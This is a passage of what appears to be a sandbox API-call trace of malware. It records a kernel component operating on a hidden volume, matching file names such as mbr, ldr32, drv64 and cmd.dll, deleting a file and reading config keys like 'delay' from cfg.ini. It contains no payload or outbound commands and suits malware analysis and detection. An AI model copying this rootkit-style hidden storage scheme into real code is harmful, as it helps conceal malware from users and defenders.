0xffffffffffffffff [0121.225] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.225] KeEnterCriticalRegion () [0121.225] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.225] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.225] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.225] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.225] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.225] IdePortDispatch () returned 0x103 [0121.225] KeWaitForMutexObject () returned 0x0 [0121.226] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.226] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.226] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.226] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.226] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.226] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.226] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.226] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.226] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.226] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.226] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.226] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.226] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.226] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.226] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.226] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.226] KeLeaveCriticalRegion () [0121.226] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.226] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.226] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.226] KeEnterCriticalRegion () [0121.226] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.226] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.226] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.226] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.226] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.226] IdePortDispatch () returned 0x103 [0121.226] KeWaitForMutexObject () returned 0x0 [0121.226] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.226] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.226] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.226] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.226] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.226] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.226] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.226] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.226] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.226] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.227] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.227] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.227] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.227] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.227] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.227] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.227] KeLeaveCriticalRegion () [0121.227] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.227] ReleaseMutex (hMutex=0x100) returned 1 [0121.227] Sleep (dwMilliseconds=0x2bf20) [0121.233] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b73f4f0, dwHighDateTime=0x1d24fa4)) [0121.233] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.233] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.233] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.233] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.233] KeEnterCriticalRegion () [0121.233] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.233] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.233] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.233] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.233] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.233] IdePortDispatch () returned 0x103 [0121.233] KeWaitForMutexObject () returned 0x0 [0121.234] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.234] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.234] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.234] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.234] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.234] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3b60 [0121.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.234] KeLeaveCriticalRegion () [0121.234] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.234] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.234] KeEnterCriticalRegion () [0121.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.234] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.234] KeLeaveCriticalRegion () [0121.234] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.234] KeEnterCriticalRegion () [0121.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.234] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.234] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.234] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.234] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.234] IdePortDispatch () returned 0x103 [0121.234] KeWaitForMutexObject () returned 0x0 [0121.234] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.234] KeLeaveCriticalRegion () [0121.234] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.235] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.235] KeEnterCriticalRegion () [0121.235] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.235] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035df000 [0121.235] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.235] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.235] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.235] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.235] IdePortDispatch () returned 0x103 [0121.235] KeWaitForMutexObject () returned 0x0 [0121.235] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.235] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.235] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.235] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.235] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.235] IdePortDispatch () returned 0x103 [0121.235] KeWaitForMutexObject () returned 0x0 [0121.235] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.235] KeLeaveCriticalRegion () [0121.235] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.236] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.236] KeEnterCriticalRegion () [0121.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.236] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.236] KeLeaveCriticalRegion () [0121.236] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.236] KeEnterCriticalRegion () [0121.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.236] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.236] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc34c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.236] KeLeaveCriticalRegion () [0121.236] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.236] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.236] KeEnterCriticalRegion () [0121.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.236] ExFreePoolWithTag (P=0xfffffa8003bc3b60, Tag=0x0) [0121.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.236] KeLeaveCriticalRegion () [0121.236] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.236] ReleaseMutex (hMutex=0xf0) returned 1 [0121.236] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.236] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.236] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.236] KeEnterCriticalRegion () [0121.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.236] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.236] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.236] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.236] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.236] IdePortDispatch () returned 0x103 [0121.237] KeWaitForMutexObject () returned 0x0 [0121.237] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.237] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.237] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.237] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.237] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.237] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc37f0 [0121.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.237] KeLeaveCriticalRegion () [0121.237] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.237] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.237] KeEnterCriticalRegion () [0121.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.237] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.237] KeLeaveCriticalRegion () [0121.237] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.237] KeEnterCriticalRegion () [0121.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.237] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.237] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.237] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.237] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.237] IdePortDispatch () returned 0x103 [0121.237] KeWaitForMutexObject () returned 0x0 [0121.237] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.237] KeLeaveCriticalRegion () [0121.237] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.237] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.238] KeEnterCriticalRegion () [0121.238] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.238] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e0000 [0121.238] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.238] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.238] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.238] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.238] IdePortDispatch () returned 0x103 [0121.238] KeWaitForMutexObject () returned 0x0 [0121.238] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.238] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.238] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.238] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.238] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.238] IdePortDispatch () returned 0x103 [0121.238] KeWaitForMutexObject () returned 0x0 [0121.238] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.238] KeLeaveCriticalRegion () [0121.238] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.239] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.239] KeEnterCriticalRegion () [0121.239] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.239] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.239] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.239] KeLeaveCriticalRegion () [0121.239] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.239] KeEnterCriticalRegion () [0121.239] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.239] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.239] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc38b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.239] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.239] KeLeaveCriticalRegion () [0121.239] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.239] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.239] KeEnterCriticalRegion () [0121.239] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.239] ExFreePoolWithTag (P=0xfffffa8003bc37f0, Tag=0x0) [0121.239] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.239] KeLeaveCriticalRegion () [0121.239] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.239] ReleaseMutex (hMutex=0xf0) returned 1 [0121.239] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.239] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.239] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.239] KeEnterCriticalRegion () [0121.239] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.239] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.239] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.239] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.239] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.239] IdePortDispatch () returned 0x103 [0121.239] KeWaitForMutexObject () returned 0x0 [0121.239] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.240] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.240] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.240] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.240] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.240] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3aa0 [0121.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.240] KeLeaveCriticalRegion () [0121.240] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.240] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.240] KeEnterCriticalRegion () [0121.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.240] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.240] KeLeaveCriticalRegion () [0121.240] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.240] KeEnterCriticalRegion () [0121.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.240] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.240] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.240] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.240] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.240] IdePortDispatch () returned 0x103 [0121.240] KeWaitForMutexObject () returned 0x0 [0121.240] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.240] KeLeaveCriticalRegion () [0121.240] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.240] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.240] KeEnterCriticalRegion () [0121.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.240] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e1000 [0121.240] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.240] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.240] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.240] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.240] IdePortDispatch () returned 0x103 [0121.241] KeWaitForMutexObject () returned 0x0 [0121.241] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.241] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.241] IoAllocateMdl 